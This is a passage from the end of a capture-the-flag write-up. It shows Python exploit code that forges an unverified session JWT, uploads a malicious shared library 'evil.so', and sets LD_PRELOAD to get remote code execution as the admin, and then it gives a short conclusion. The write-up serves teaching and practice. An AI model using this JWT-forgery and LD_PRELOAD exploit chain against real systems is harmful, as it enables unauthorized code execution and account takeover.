}
session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
encoded_jwt = session.cookies.get("session")
decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
if(decoded['properties'].get('LD_PRELOAD')):
print("set-cookie: ", decoded)
print("signed_tampered_cookie: ", encoded_jwt)
return session
# upload the malicious library and retrieve a valid UserID
with open("evil.so", 'rb') as lib_file:
username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
sess = register(username, "abc", lib_file)
encoded_jwt = sess.cookies.get("session")
decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
user_id = decoded['user_id']
payload = {
"user_id": user_id,
"username": username,
"user_kind": 0,
"properties": {
"LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt",
"display_name": "abc"
},
"logged_in": True
}
tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256')
cookie = {"session": tampered_token}
with open("evil.so", 'rb') as lib_file:
# register using the admin's username and display_name
register(ADMIN_USERNAME, ADMIN_DISPLAY_NAME, lib_file, cookie)
Finally, visit the /api/certificate
endpoint with the retrieved signed tampered token to trigger the RCE.
Conclusion
Thanks for making it through this writeup, I hope you got something out of it. Big thanks to the challenge author as well; I really liked that there were so many different paths to solve this one (even if some were unintentional 🔥). It made the whole experience a lot more fun and interesting!
~ @uncavohdmi